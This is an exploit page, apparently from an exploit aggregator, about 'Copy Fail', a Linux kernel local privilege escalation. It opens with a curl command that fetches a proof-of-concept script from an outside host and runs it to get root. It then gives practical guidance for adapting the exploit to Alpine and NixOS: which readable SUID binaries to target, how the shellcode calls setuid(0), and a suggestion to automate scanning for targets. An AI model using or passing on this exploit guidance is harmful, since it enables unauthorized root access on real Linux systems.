Share
## https://sploitus.com/exploit?id=F75C66F3-2C0B-52FB-93A3-006F8DFF1DE9
# Copy Fail

## TL;DR
```
$ curl https://git.dc09.xyz/DarkCat09/copyfail/releases/download/v1.0.0/poc.x86.py >poc.py
$ python3 poc.py
# id
uid=0(root) ...
```

## Description
[Copy Fail](https://copy.fail) is a Local Privilege Escalation vulnerability
in the Linux cryptography subsystem present in kernel versions from 4.14 to 6.18.22/6.19.12.
It was found by Theori researchers with the help of Xint Code.

[See the detailed write-up here](https://xint.io/blog/copy-fail-linux-distributions)

This vulnerability allows to overwrite page cache (in-memory file cache).
Particularly, we're interested in modifying the contents of a binary with SUID bit set,
e. g. `/usr/bin/su`.

But the original PoC doesn't work at least on Alpine Linux and NixOS.
Why?

## Problem
1. The exploit requires the target SUID binary to be *readable* by the current user. \
  Some distros are more concerned about security than others, so they (long before Copy Fail was published)
  made `su` *executable* but *not readable* — it's permissions are `--s--x--x`. \
  PoC script fails with `Permission denied`.
2. The embedded shellcode of the PoC, an x86-64 static ELF, calls `/bin/sh` without any arguments
  (`argv` is set to `NULL`), so `sh` does *not* get even the 0th argument that should contain the binary path. \
  Alpine's `sh` is a symlink to Busybox. Busybox reads `argv[0]` to distinguish which applet to run
  by looking at the executed binary name. \
  PoC script fails to run a shell with a message: `: applet not found`.

## Solution
1. Find a different SUID program that is readable.
  By default, `su`, `passwd` and `mount` are all provided by Busybox and symlinked to `bbsuid`,
  which makes it impossible to run an exploit against these binaries. \
  If either doas, sudo or polkit is installed on the target system,
  `/usr/bin/doas`, `sudo` or `pkexec` (respectively) can be used to exploit Copy Fail.
  For some reason, these third-party packages are not secured the same way as bbsuid
  and the listed binaries are readable to anyone. \
  If shadow is installed on the target system,
  `/usr/bin/passwd`, `chsh` or `chfn` can be used to exploit Copy Fail.
2. Replace the embedded shellcode.
  This is not a trivial task since the exploit requires a very small binary,
  because we're overwriting the page cache by 4-byte chunks,
  opening a new `AF_ALG` socket every time, so even an 8K file hits ulimit. \
  I, as a non-expert in the infosec, can't write shellcode by hand,
  but can reimplement the logic in Assembler without using any C runtime,
  doing syscalls directly.
  And, indeed, that reduced the binary size to only 800 bytes
  (but only when using LLVM's LLD as a linker). \
  Note: we can't just put a shell script here, like `#!/bin/sh\nsh -i`,
  because SUID bit gives an Effective UID of an owner, but not a Real UID,
  and, for security reasons, any shell including ash and bash,
  drop root privileges in such case.
  That's why the provided shellcode calls `setuid(0)` first.

## Ready script
Fixed PoC script is published here:
* [x86](https://git.dc09.xyz/DarkCat09/copyfail/releases/download/v1.0.0/poc.x86.py)
* [x86-64](https://git.dc09.xyz/DarkCat09/copyfail/releases/download/v1.0.0/poc.x64.py)
  Note: x86 runs on x86-64 too and is a bit smaller.
* [aarch64](https://git.dc09.xyz/DarkCat09/copyfail/releases/download/v1.0.0/poc.arm64.py)

`/usr/bin/doas` is hard-coded as a target SUID binary. Replace if needed.
Ideally, in case you are writing an automated script, you should scan a system
for readable SUID programs and run the exploit on them.

To restore the overwritten program, run `echo 3 >/proc/sys/vm/drop_caches` as root.